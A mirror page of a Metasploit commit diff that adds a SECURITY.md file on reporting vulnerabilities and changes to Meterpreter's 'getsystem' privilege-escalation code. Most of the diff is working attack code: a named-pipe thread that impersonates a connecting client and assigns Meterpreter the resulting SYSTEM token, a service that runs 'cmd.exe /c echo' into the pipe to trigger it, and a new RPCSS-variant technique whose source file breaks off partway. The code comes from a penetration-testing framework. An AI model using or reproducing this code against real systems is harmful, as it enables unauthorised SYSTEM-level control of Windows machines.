mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
Land #441 - Fix missing TLV migration from string to int
Fixes #440 Thanks @justinsteven!
This commit is contained in:
commit
eb1d51b94e
.github
c/meterpreter
source
common
extensions/priv
metsrv
workspace/ext_server_priv
gem/lib/metasploit-payloads
php/meterpreter
python/meterpreter
35
.github/SECURITY.md
vendored
Normal file
35
.github/SECURITY.md
vendored
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
# Reporting security issues
|
||||||
|
|
||||||
|
Thanks for your interest in making Meterpreter more secure! If you feel
|
||||||
|
that you have found a security issue involving Metasploit, Meterpreter,
|
||||||
|
Recog, or any other Rapid7 open source project, you are welcome to let
|
||||||
|
us know in the way that's most comfortable for you.
|
||||||
|
|
||||||
|
## Via ZenDesk
|
||||||
|
|
||||||
|
You can click on the big blue button at [Rapid7's Vulnerability
|
||||||
|
Disclosure][r7-vulns] page, which will get you to our general
|
||||||
|
vulnerability reporting system. While this does require a (free) ZenDesk
|
||||||
|
account to use, you'll get regular updates on your issue as our software
|
||||||
|
support teams work through it. As it happens [that page][r7-vulns] also
|
||||||
|
will tell you what to expect when it comes to reporting vulns, how fast
|
||||||
|
we'll fix and respond, and all the rest, so it's a pretty good read
|
||||||
|
regardless.
|
||||||
|
|
||||||
|
## Via email
|
||||||
|
|
||||||
|
If you're more of a traditionalist, you can email your finding to
|
||||||
|
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
|
||||||
|
encrypt your messages, but we certainly don't mind cleartext reports
|
||||||
|
over email.
|
||||||
|
|
||||||
|
## NOT via GitHub Issues
|
||||||
|
|
||||||
|
Please don't! Disclosing security vulnerabilities to public bug trackers
|
||||||
|
is kind of mean, even when it's well-intentioned, since you end up
|
||||||
|
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
|
||||||
|
you didn't!
|
||||||
|
|
||||||
|
[r7-vulns]:https://www.rapid7.com/security/disclosure/
|
||||||
|
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
|
||||||
|
|
1
c/meterpreter/source/common/common_command_ids.h
Normal file → Executable file
1
c/meterpreter/source/common/common_command_ids.h
Normal file → Executable file
@ -55,6 +55,7 @@
|
|||||||
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
|
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
|
||||||
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
|
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
|
||||||
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
|
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
|
||||||
|
#define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34
|
||||||
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
|
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
|
||||||
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
|
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
|
||||||
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
|
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
|
||||||
|
@ -5,6 +5,7 @@
|
|||||||
#include "precomp.h"
|
#include "precomp.h"
|
||||||
#include "common_metapi.h"
|
#include "common_metapi.h"
|
||||||
#include "namedpipe.h"
|
#include "namedpipe.h"
|
||||||
|
#include "namedpipe_rpcss.h"
|
||||||
#include "tokendup.h"
|
#include "tokendup.h"
|
||||||
|
|
||||||
/*!
|
/*!
|
||||||
@ -105,6 +106,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
|
||||||
|
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
|
||||||
|
if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
|
||||||
|
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
} while( 0 );
|
} while( 0 );
|
||||||
|
|
||||||
if( response )
|
if( response )
|
||||||
|
@ -5,11 +5,12 @@
|
|||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||||
|
|
||||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
|
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1)
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
|
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2)
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||||
|
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
|
||||||
|
|
||||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||||
|
|
||||||
|
@ -3,42 +3,62 @@
|
|||||||
#include "namedpipe.h"
|
#include "namedpipe.h"
|
||||||
#include "service.h"
|
#include "service.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* A post-impersonation callback that simply updates the meterpreter token to the
|
||||||
|
* current thread token. This is used by the standard service-based technique.
|
||||||
|
*/
|
||||||
|
DWORD post_callback_use_self(Remote * remote)
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
|
||||||
|
// get a handle to this threads token
|
||||||
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
||||||
|
dprintf("[ELEVATE] post_callback_use_self. OpenThreadToken failed");
|
||||||
|
return GetLastError();
|
||||||
|
}
|
||||||
|
|
||||||
|
// now we can set the meterpreters thread token to that of our system
|
||||||
|
// token so all subsequent meterpreter threads will use this token.
|
||||||
|
met_api->thread.update_token(remote, hToken);
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
|
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
|
||||||
* the first client which connects to it.
|
* the first client which connects to it.
|
||||||
*/
|
*/
|
||||||
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||||
{
|
{
|
||||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
HANDLE hServerPipe = NULL;
|
HANDLE hPipe = NULL;
|
||||||
HANDLE hToken = NULL;
|
HANDLE hSem = NULL;
|
||||||
HANDLE hSem = NULL;
|
char * cpPipeName = NULL;
|
||||||
char * cpServicePipe = NULL;
|
BYTE bMessage[128] = {0};
|
||||||
Remote * remote = NULL;
|
DWORD dwBytes = 0;
|
||||||
BYTE bMessage[128] = {0};
|
BOOL bImpersonated = FALSE;
|
||||||
DWORD dwBytes = 0;
|
PPRIV_POST_IMPERSONATION pPostImpersonation = NULL;
|
||||||
|
|
||||||
do {
|
do {
|
||||||
if (!thread) {
|
if (!thread) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
||||||
}
|
}
|
||||||
|
|
||||||
cpServicePipe = (char *)thread->parameter1;
|
cpPipeName = (char *)thread->parameter1;
|
||||||
remote = (Remote *)thread->parameter2;
|
hSem = (HANDLE)thread->parameter2;
|
||||||
hSem = (HANDLE)thread->parameter3;
|
pPostImpersonation = (PPRIV_POST_IMPERSONATION)thread->parameter3;
|
||||||
|
|
||||||
if (!cpServicePipe || !remote) {
|
if (!cpPipeName) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
|
||||||
ERROR_BAD_ARGUMENTS);
|
ERROR_BAD_ARGUMENTS);
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
|
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
|
||||||
|
|
||||||
// create the named pipe for the client service to connect to
|
// create the named pipe for the client service to connect to
|
||||||
hServerPipe = CreateNamedPipe(cpServicePipe,
|
hPipe = CreateNamedPipe(cpPipeName,
|
||||||
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
||||||
|
|
||||||
if (!hServerPipe) {
|
if (!hPipe) {
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
|
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -48,55 +68,55 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
|||||||
ERROR_DBG_TERMINATE_THREAD);
|
ERROR_DBG_TERMINATE_THREAD);
|
||||||
}
|
}
|
||||||
|
|
||||||
//signal the client that the pipe is ready
|
// signal the client that the pipe is ready
|
||||||
if (hSem) {
|
if (hSem) {
|
||||||
if (!ReleaseSemaphore(hSem, 1, NULL)) {
|
if (!ReleaseSemaphore(hSem, 1, NULL)) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
|
||||||
ERROR_DBG_TERMINATE_THREAD);
|
ERROR_DBG_TERMINATE_THREAD);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wait for a client to connect to our named pipe...
|
// wait for a client to connect to our named pipe...
|
||||||
if (!ConnectNamedPipe(hServerPipe, NULL)) {
|
if (!ConnectNamedPipe(hPipe, NULL)) {
|
||||||
if (GetLastError() != ERROR_PIPE_CONNECTED)
|
if (GetLastError() != ERROR_PIPE_CONNECTED)
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[ELEVATE] pipethread. got client conn.");
|
dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection");
|
||||||
|
|
||||||
// we can't impersonate a client untill we have performed a read on the pipe...
|
// we can't impersonate a client until we have performed a read on the pipe...
|
||||||
if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
|
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
|
||||||
|
DisconnectNamedPipe(hPipe);
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
|
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// impersonate the client!
|
// impersonate the client!
|
||||||
if (!ImpersonateNamedPipeClient(hServerPipe)) {
|
bImpersonated = ImpersonateNamedPipeClient(hPipe);
|
||||||
|
DisconnectNamedPipe(hPipe);
|
||||||
|
if (!bImpersonated) {
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
|
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// get a handle to this threads token
|
if (pPostImpersonation) {
|
||||||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback");
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
|
dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam);
|
||||||
|
if (dwResult != ERROR_SUCCESS) {
|
||||||
|
RevertToSelf();
|
||||||
|
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
// now we can set the meterpreters thread token to that of our system
|
|
||||||
// token so all subsequent meterpreter threads will use this token.
|
|
||||||
met_api->thread.update_token(remote, hToken);
|
|
||||||
|
|
||||||
dwResult = ERROR_SUCCESS;
|
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
if (hServerPipe) {
|
if (hPipe) {
|
||||||
DisconnectNamedPipe(hServerPipe);
|
CLOSE_HANDLE(hPipe);
|
||||||
CLOSE_HANDLE(hServerPipe);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
|
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
|
||||||
|
|
||||||
return dwResult;
|
return dwResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -109,13 +129,14 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
|||||||
*/
|
*/
|
||||||
DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||||
{
|
{
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
char * cpServiceName = NULL;
|
char * cpServiceName = NULL;
|
||||||
THREAD * pThread = NULL;
|
THREAD * pThread = NULL;
|
||||||
HANDLE hSem = NULL;
|
HANDLE hSem = NULL;
|
||||||
char cServiceArgs[MAX_PATH] = {0};
|
char cServiceArgs[MAX_PATH] = {0};
|
||||||
char cServicePipe[MAX_PATH] = {0};
|
char cServicePipe[MAX_PATH] = {0};
|
||||||
OSVERSIONINFO os = {0};
|
OSVERSIONINFO os = {0};
|
||||||
|
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||||
|
|
||||||
do {
|
do {
|
||||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||||
@ -126,7 +147,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
|
|
||||||
// filter out Windows NT4
|
// filter out Windows NT4
|
||||||
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
||||||
SetLastError(ERROR_ACCESS_DENIED);
|
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -143,7 +164,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
|
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
|
||||||
|
|
||||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
PostImpersonation.pCallback = post_callback_use_self;
|
||||||
|
PostImpersonation.pCallbackParam = remote;
|
||||||
|
|
||||||
|
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
|
||||||
if (!pThread) {
|
if (!pThread) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
||||||
ERROR_INVALID_HANDLE);
|
ERROR_INVALID_HANDLE);
|
||||||
@ -154,24 +178,24 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
ERROR_ACCESS_DENIED);
|
ERROR_ACCESS_DENIED);
|
||||||
}
|
}
|
||||||
|
|
||||||
//wait for the thread to create the pipe(if it times out terminate)
|
// wait for the thread to create the pipe, if it times out terminate
|
||||||
if (hSem) {
|
if (hSem) {
|
||||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
||||||
ERROR_ACCESS_DENIED);
|
ERROR_ACCESS_DENIED);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
}
|
}
|
||||||
|
|
||||||
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
// start the elevator service (if it doesn't start first time we need to create it and then start it).
|
||||||
if (service_start(cpServiceName) != ERROR_SUCCESS) {
|
if (service_start(cpServiceName) != ERROR_SUCCESS) {
|
||||||
dprintf("[ELEVATE] service starting failed, attempting to create");
|
dprintf("[ELEVATE] service starting failed, attempting to create");
|
||||||
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
|
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
|
||||||
}
|
}
|
||||||
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
|
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
|
||||||
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
|
// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
|
||||||
// a valid service and it will never signal to the service manager that is is a running service.
|
// a valid service and it will never signal to the service manager that is is a running service.
|
||||||
service_start(cpServiceName);
|
service_start(cpServiceName);
|
||||||
}
|
}
|
||||||
@ -216,20 +240,21 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
*/
|
*/
|
||||||
DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||||
{
|
{
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
THREAD * pThread = NULL;
|
THREAD * pThread = NULL;
|
||||||
HANDLE hServiceFile = NULL;
|
HANDLE hServiceFile = NULL;
|
||||||
HANDLE hSem = NULL;
|
HANDLE hSem = NULL;
|
||||||
LPVOID lpServiceBuffer = NULL;
|
LPVOID lpServiceBuffer = NULL;
|
||||||
char * cpServiceName = NULL;
|
char * cpServiceName = NULL;
|
||||||
THREAD * pthread = NULL;
|
THREAD * pthread = NULL;
|
||||||
char cServicePath[MAX_PATH] = {0};
|
char cServicePath[MAX_PATH] = {0};
|
||||||
char cServiceArgs[MAX_PATH] = {0};
|
char cServiceArgs[MAX_PATH] = {0};
|
||||||
char cServicePipe[MAX_PATH] = {0};
|
char cServicePipe[MAX_PATH] = {0};
|
||||||
char cTempPath[MAX_PATH] = {0};
|
char cTempPath[MAX_PATH] = {0};
|
||||||
DWORD dwBytes = 0;
|
DWORD dwBytes = 0;
|
||||||
DWORD dwTotal = 0;
|
DWORD dwTotal = 0;
|
||||||
DWORD dwServiceLength = 0;
|
DWORD dwServiceLength = 0;
|
||||||
|
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
@ -279,7 +304,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
|||||||
}
|
}
|
||||||
|
|
||||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
PostImpersonation.pCallback = post_callback_use_self;
|
||||||
|
PostImpersonation.pCallbackParam = remote;
|
||||||
|
|
||||||
|
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
|
||||||
if (!pThread) {
|
if (!pThread) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
||||||
ERROR_INVALID_HANDLE);
|
ERROR_INVALID_HANDLE);
|
||||||
@ -291,12 +319,13 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
|||||||
}
|
}
|
||||||
|
|
||||||
//wait for the thread to create the pipe(if it times out terminate)
|
//wait for the thread to create the pipe(if it times out terminate)
|
||||||
if (hSem) {
|
if (hSem) {
|
||||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
|
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
||||||
ERROR_ACCESS_DENIED);
|
ERROR_ACCESS_DENIED);
|
||||||
} else {
|
}
|
||||||
Sleep(500);
|
} else {
|
||||||
|
Sleep(500);
|
||||||
}
|
}
|
||||||
|
|
||||||
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
||||||
|
@ -1,7 +1,14 @@
|
|||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
||||||
|
|
||||||
DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet );
|
typedef DWORD(*PostImpersonationCallback)(LPVOID);
|
||||||
DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet );
|
DWORD THREADCALL elevate_namedpipe_thread(THREAD* thread);
|
||||||
|
DWORD elevate_via_service_namedpipe(Remote* remote, Packet* packet);
|
||||||
|
DWORD elevate_via_service_namedpipe2(Remote* remote, Packet* packet);
|
||||||
|
|
||||||
|
typedef struct _PRIV_POST_IMPERSONATION {
|
||||||
|
PostImpersonationCallback pCallback;
|
||||||
|
PVOID pCallbackParam;
|
||||||
|
} PRIV_POST_IMPERSONATION, * PPRIV_POST_IMPERSONATION;
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
395
c/meterpreter/source/extensions/priv/namedpipe_rpcss.c
Executable file
395
c/meterpreter/source/extensions/priv/namedpipe_rpcss.c
Executable file
@ -0,0 +1,395 @@
|
|||||||
|
#include <winternl.h>
|
||||||
|
#include "precomp.h"
|
||||||
|
#include "common_metapi.h"
|
||||||
|
#include "namedpipe.h"
|
||||||
|
#include "service.h"
|
||||||
|
|
||||||
|
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||||
|
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||||
|
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
|
||||||
|
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
|
||||||
|
typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
|
||||||
|
|
||||||
|
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||||
|
ObjectBasicInformation = 0,
|
||||||
|
ObjectTypeInformation = 2
|
||||||
|
} OBJECT_INFORMATION_CLASS;
|
||||||
|
|
||||||
|
typedef enum _PROCESSINFOCLASS
|
||||||
|
{
|
||||||
|
ProcessBasicInformation = 0,
|
||||||
|
ProcessHandleInformation = 51,
|
||||||
|
} PROCESSINFOCLASS;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
|
||||||
|
{
|
||||||
|
HANDLE HandleValue;
|
||||||
|
ULONG_PTR HandleCount;
|
||||||
|
ULONG_PTR PointerCount;
|
||||||
|
ACCESS_MASK GrantedAccess;
|
||||||
|
ULONG ObjectTypeIndex;
|
||||||
|
ULONG HandleAttributes;
|
||||||
|
ULONG Reserved;
|
||||||
|
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
||||||
|
{
|
||||||
|
ULONG_PTR NumberOfHandles;
|
||||||
|
ULONG_PTR Reserved;
|
||||||
|
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||||
|
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _OBJECT_TYPE_INFORMATION
|
||||||
|
{
|
||||||
|
_UNICODE_STRING TypeName;
|
||||||
|
ULONG TotalNumberOfObjects;
|
||||||
|
ULONG TotalNumberOfHandles;
|
||||||
|
ULONG TotalPagedPoolUsage;
|
||||||
|
ULONG TotalNonPagedPoolUsage;
|
||||||
|
ULONG TotalNamePoolUsage;
|
||||||
|
ULONG TotalHandleTableUsage;
|
||||||
|
ULONG HighWaterNumberOfObjects;
|
||||||
|
ULONG HighWaterNumberOfHandles;
|
||||||
|
ULONG HighWaterPagedPoolUsage;
|
||||||
|
ULONG HighWaterNonPagedPoolUsage;
|
||||||
|
ULONG HighWaterNamePoolUsage;
|
||||||
|
ULONG HighWaterHandleTableUsage;
|
||||||
|
ULONG InvalidAttributes;
|
||||||
|
GENERIC_MAPPING GenericMapping;
|
||||||
|
ULONG ValidAccessMask;
|
||||||
|
BOOLEAN SecurityRequired;
|
||||||
|
BOOLEAN MaintainHandleCount;
|
||||||
|
UCHAR TypeIndex;
|
||||||
|
CHAR ReservedByte;
|
||||||
|
ULONG PoolType;
|
||||||
|
ULONG DefaultPagedPoolCharge;
|
||||||
|
ULONG DefaultNonPagedPoolCharge;
|
||||||
|
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Compare two LUID values and return true if they are the same.
|
||||||
|
*/
|
||||||
|
BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
|
||||||
|
return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get the object type index for token objects. The index changes between versions and using it
|
||||||
|
* simplifies the searching process.
|
||||||
|
*/
|
||||||
|
DWORD get_token_object_index(PULONG TokenIndex)
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
NTSTATUS status;
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
NTQUERYOBJECT pNtQueryObject = NULL;
